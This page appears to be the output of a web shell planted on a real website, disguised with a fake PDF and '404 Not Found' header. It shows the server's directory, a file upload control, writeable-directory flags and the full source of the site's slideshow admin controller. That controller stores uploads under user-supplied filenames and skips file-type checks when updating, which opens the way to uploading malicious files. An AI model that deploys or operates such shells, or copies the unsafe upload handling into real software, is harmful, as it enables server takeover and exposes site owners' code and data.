%PDF-1.4 404 Not Found
Sh3ll



Directory :  /var/www/vhosts/lautnusantara.com/httpdocs/mis/app/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Current File : /var/www/vhosts/lautnusantara.com/httpdocs/mis/app/Controllers/Slideshow.php
<?php

namespace App\Controllers;

use CodeIgniter\Controller;
use App\Models\History_model;
use App\Models\Slideshow_Model;

class Slideshow extends BaseController
{
    protected $History;
    protected $session;
    protected $Slideshow_Model;

    public function __construct()
    {
        $this->History = new History_model();
        $this->session = session();
        $this->Slideshow_Model = new Slideshow_Model();
    }

    public function index()
    {
        $user_id = session()->get('user_id');
        $username = session()->get('username');
        $firstname = session()->get('firstname');
        $lastname = session()->get('lastname');

        $this->History->save([
            'user_id' => $user_id,
            'username' => $username,
            'name' => $firstname . ' ' . $lastname,
            'kegiatan' => 'Slideshow',
            'jenis_kegiatan' => 'Daftar Slideshow',
            'tanggal_waktu' => date('Y-m-d H:i:s')
        ]);

        // $this->data_dashboard = new DashboardModel();

        $data = array(
            'title' => 'MCS - Manajemen Compro System',
            'description' => 'Aplikasi MCS - Manajemen Compro System',
            'keywords' => 'MCS, Manajemen, Compro',
            'author' => 'SSN',
            'parent_id_menu' => '33',
            'parent_id_submenu' => '',
            'id_menu' => '12',
            'page1' => 'Slideshow',
            'page2' => '',
            'link01' => base_url() . '/slideshow/add',
            'link02' => base_url() . '/slideshow',

            'data_slideshow' => $this->Slideshow_Model->get_slideshow()->getResultArray(),

            'componen' => 'theme/BeyondAdmin/halaman/modul/slideshow/daftar'
        );
        echo view('layout', $data);
    }

    public function add()
    {
        $user_id = session()->get('user_id');
        $username = session()->get('username');
        $firstname = session()->get('firstname');
        $lastname = session()->get('lastname');

        // $this->History->save([
        //     'user_id'    => $user_id,
        //     'username'   => $username,
        //     'name'       => $firstname.' '.$lastname,
        //     'kegiatan'   => 'Dashboard',
        //     'jenis_kegiatan'     => 'Login/Dashboard',
        //     'tanggal_waktu'  => date('Y-m-d H:i:s')
        // ]);

        // $this->data_dashboard = new DashboardModel();



        $data = array(
            'title' => 'MCS - Manajemen Compro System',
            'description' => 'Aplikasi MCS - Manajemen Compro System',
            'keywords' => 'MCS, Manajemen, Compro',
            'author' => 'SSN',
            'parent_id_menu' => '33',
            'parent_id_submenu' => '',
            'id_menu' => '12',
            'page1' => 'Add Slideshow',
            'page2' => 'Slideshow',
            'link01' => base_url() . '/slideshow/add',
            'link02' => base_url() . '/slideshow',
            'title' => old('title'),
            'sub_title' => old('sub_title'),
            'link' => old('link'),
            'urut' => old('urut'),
            'description' => old('description'),
            'url_image' => old('url_image'),
            'image' => old('image'),
            'active' => 0,
            'id' => 0,
            'status' => 'add',
            'data_baru' => 'Y',
            'url_form' => base_url('slideshow/save'),

            'componen' => 'theme/BeyondAdmin/halaman/modul/slideshow/add'
        );
        echo view('layout', $data);
    }

    public function edit($id)
    {
        $user_id = session()->get('user_id');
        $username = session()->get('username');
        $firstname = session()->get('firstname');
        $lastname = session()->get('lastname');

        // $this->History->save([
        //     'user_id'    => $user_id,
        //     'username'   => $username,
        //     'name'       => $firstname.' '.$lastname,
        //     'kegiatan'   => 'Dashboard',
        //     'jenis_kegiatan'     => 'Login/Dashboard',
        //     'tanggal_waktu'  => date('Y-m-d H:i:s')
        // ]);

        // $this->data_dashboard = new DashboardModel();
        $dt_slideshow = $this->Slideshow_Model->get_slideshow($id)->getResult();

        $data = array(
            'title' => 'MCS - Manajemen Compro System',
            'description' => 'Aplikasi MCS - Manajemen Compro System',
            'keywords' => 'MCS, Manajemen, Compro',
            'author' => 'SSN',
            'parent_id_menu' => '33',
            'parent_id_submenu' => '',
            'id_menu' => '12',
            'page1' => 'Edit Slideshow',
            'page2' => 'Slideshow',
            'link01' => base_url() . '/slideshow/edit',
            'link02' => base_url() . '/slideshow',
            'title' => $dt_slideshow[0]->title,
            'sub_title' => $dt_slideshow[0]->sub_title,
            'link' => $dt_slideshow[0]->link,
            'urut' => $dt_slideshow[0]->urut,
            'description' => $dt_slideshow[0]->description,
            'active' => $dt_slideshow[0]->active,
            'id' => $dt_slideshow[0]->id,
            'url_image' => $dt_slideshow[0]->url_image,
            'image' => $dt_slideshow[0]->image,
            'data_baru' => 'T',

            'status' => 'edit',
            'url_form' => base_url('slideshow/update'),

            'componen' => 'theme/BeyondAdmin/halaman/modul/slideshow/add'
        );
        echo view('layout', $data);
    }

    public function save()
    {
        if (
            !$this->validate([
                'title' => [
                    'rules' => 'required|min_length[5]',
                    'errors' => [
                        'required' => 'Judul Harus diisi'
                    ]
                ],
                'image' => [
                    'rules' => 'max_size[image,2048]|is_image[image]|mime_in[image,image/jpg,image/jpeg,image/png]',
                    'errors' => [
                        'max_size' => 'ukuran gambar terlalu besar max size (2MB)',
                        'is_image' => 'file yang dipilih tidak valid',
                        'mime_in' => 'gambar tidak valid'
                    ]

                ]
            ])
        ) {
            session()->setFlashdata('error', $this->validator->listErrors());
            return redirect()->back()->withinput();
        } else {
            $username = session()->get('username');
            $user_id = session()->get('user_id');
            $active = 0;
            // $this->request->getVar('active');
            if (!is_null($this->request->getVar('active'))) {
                $active = 1;
            }
            // $tglStr = $this->request->getVar('tgl');
            // $tgl = date('Y-m-d', strtotime($tglStr));

            // $jamStr = $this->request->getVar('jam');
            // $jam = date('H:i:s', strtotime($jamStr));

            // $publish_up = $tgl . ' ' . $jam;

            $title = str_replace('"', "'", $this->request->getVar('title'));
            $sub_title = str_replace('"', "'", $this->request->getVar('sub_title'));

            //--- cek image ----
            $fileImage = $this->request->getFile('image');

            $date = date_create();
            $tahun = date_format($date, "Y");
            $bulan = date_format($date, "m-M");
            $base_root = "/var/www/vhosts/lautnusantara.com/httpdocs";
            $folder_image = "/storage/images/slideshow/";

            //---- image ----
            if ($fileImage->getError() == 4) {
                $namaImage = $this->request->getVar('sampulLama');
            } else if ($this->request->getVar('sampulLama') == null) {
                // generate nama file random
                $namaImage = $fileImage->getName();
                // pindahkan gambar
                $fileImage->move($base_root . $folder_image, $namaImage);
            } else if ($fileImage != null) {
                // generate nama file random
                $namaImage = $fileImage->getName();
                // pindahkan gambar
                $fileImage->move($base_root . $folder_image, $namaImage);
                // unlink('images/user/'. $this->request->getVar('sampulLama')); 
            }

            if ($namaImage == null or $namaImage == "") {
                if ($this->request->getVar('sampulLama') == null or $this->request->getVar('sampulLama') == '') {
                    $url_image = '';
                } else {
                    $url_image = $this->request->getVar('sampulLama');
                }
            } else {
                $url_image = $folder_image . $namaImage;
            }

            $data = array(
                'title' => $this->request->getVar('title'),
                'sub_title' => $this->request->getVar('sub_title'),
                'link' => $this->request->getVar('link'),
                'urut' => $this->request->getVar('urut'),
                'description' => $this->request->getVar('description'),
                'created_by' => $user_id,
                'active' => $active,
                'url_image' => $folder_image,
                'image' => $namaImage,
            );

            $this->Slideshow_Model->save_slideshow($data);
            return redirect()->to(base_url('slideshow'));
        }
    }

    public function update()
    {
        if (
            !$this->validate([
                'title' => [
                    'rules' => 'required|min_length[3]',
                    'errors' => [
                        'required' => 'Judul Slideshow Harus diisi'
                    ]
                ]
            ])
        ) {
            session()->setFlashdata('error', $this->validator->listErrors());
            return redirect()->back()->withinput();
        } else {
            $username = session()->get('username');
            $user_id = session()->get('user_id');

            $active = 0;
            if (!is_null($this->request->getVar('active'))) {
                $active = 1;
            }
            $id = $this->request->getVar('id');


            //--- cek image ----
            $fileImage = $this->request->getFile('image');

            $date = date_create();
            $tahun = date_format($date, "Y");
            $bulan = date_format($date, "m-M");
            $base_root = "/var/www/vhosts/lautnusantara.com/httpdocs";
            $folder_image = "/storage/images/slideshow/";

            $imageLama = $this->request->getVar('sampulLama');
            // cek gambar lama
            if ($fileImage->getError() == 4) {
                $namaImage = $this->request->getVar('sampulLama');
                $namaImage = substr($namaImage, strlen("/storage/images/slideshow/"));
            } else if ($this->request->getVar('sampulLama') == null) {
                // generate nama file random 
                $namaImage = $fileImage->getName();
                // $namaImage = $fileImage->getRandomName();
                // pindahkan gambar
                $fileImage->move($base_root . $folder_image, $namaImage);
            } else if ($fileImage != null) {
                // generate nama file random
                $namaImage = $fileImage->getName();
                // pindahkan gambar
                $fileImage->move($base_root . $folder_image, $namaImage);
                // unlink('images/user/'. $this->request->getVar('sampulLama'));
            }

            // echo $namaImage.'<br>'.$imageLama;
            // die;

            if ($namaImage == null or $namaImage == "") {
                $url_image = $this->request->getVar('sampulLama');
            } else {
                if ($imageLama == NULL or $imageLama = '') {
                    $url_image = $folder_image . $namaImage;
                } else {
                    if (substr($namaImage, 0, 9) == substr($folder_image, 0, 9)) {
                        $url_image = $namaImage;
                        $namaImage = substr($namaImage, strlen("/storage/images/slideshow/"));
                    } else {
                        $url_image = $folder_image . $namaImage;
                    }
                }
            }

            $data = array(
                'title' => $this->request->getVar('title'),
                'sub_title' => $this->request->getVar('sub_title'),
                'link' => $this->request->getVar('link'),
                'urut' => $this->request->getVar('urut'),
                'description' => $this->request->getVar('description'),
                'created_by' => $user_id,
                'active' => $active,
                'url_image' => $folder_image,
                'image' => $namaImage,
            );

            $this->Slideshow_Model->update_slideshow($data, $id);

            return redirect()->to(base_url('slideshow'));
        }
    }


    // public cek_file_image($nama_file=false)
    // {
    // if (file_exists($nama_file))
    // {
    // $file_baru=$nama_file+'_1';
    // $no =1;
    // while (file_exists($file_baru)) {

    // } 
    // return true;
    // }
    // else
    // {
    // return false;
    // }
    // }

    public function delete($id)
    {
        $data = array(
            'trash' => 1,
        );

        $this->Slideshow_Model->update_slideshow($data, $id);

        return redirect()->to(base_url('slideshow'));
    }

    function edit_active()
    {

        $id = $this->request->getVar('ids');

        $active = 0;
        if (!is_null($this->request->getVar('active'))) {
            $active = 1;
        }


        $data = array(
            'active' => $active,
        );

        //return redirect()->to(base_url());		
        // var_dump($data);
        // die;

        $this->Slideshow_Model->update_slideshow($data, $id);

        // return redirect()->to(base_url('slideshow'));
    }

    function simpan_active()
    {

        $id = $this->request->getVar('ids');

        $active = $this->request->getVar('cek');

        $data = array(
            'active' => $active,
        );


        $this->Slideshow_Model->update_slideshow($data, $id);


    }

    function simpan_publish()
    {

        $id = $this->request->getVar('ids');

        $active = $this->request->getVar('cek');

        $data = array(
            'published' => $active,
        );


        $this->Slideshow_Model->update_slideshow($data, $id);


    }

    function get_title_to_alias($text)
    {
        $textlow = strtolower($text);
        $textfree = preg_replace('/[^a-zA-Z0-9_ -]/s', '', $textlow);
        $result = str_replace(',', '', $textfree);
        $result = str_replace(' ', '-', $textfree);
        return $result;
    }


}
?>

WonXd677 Sh3LL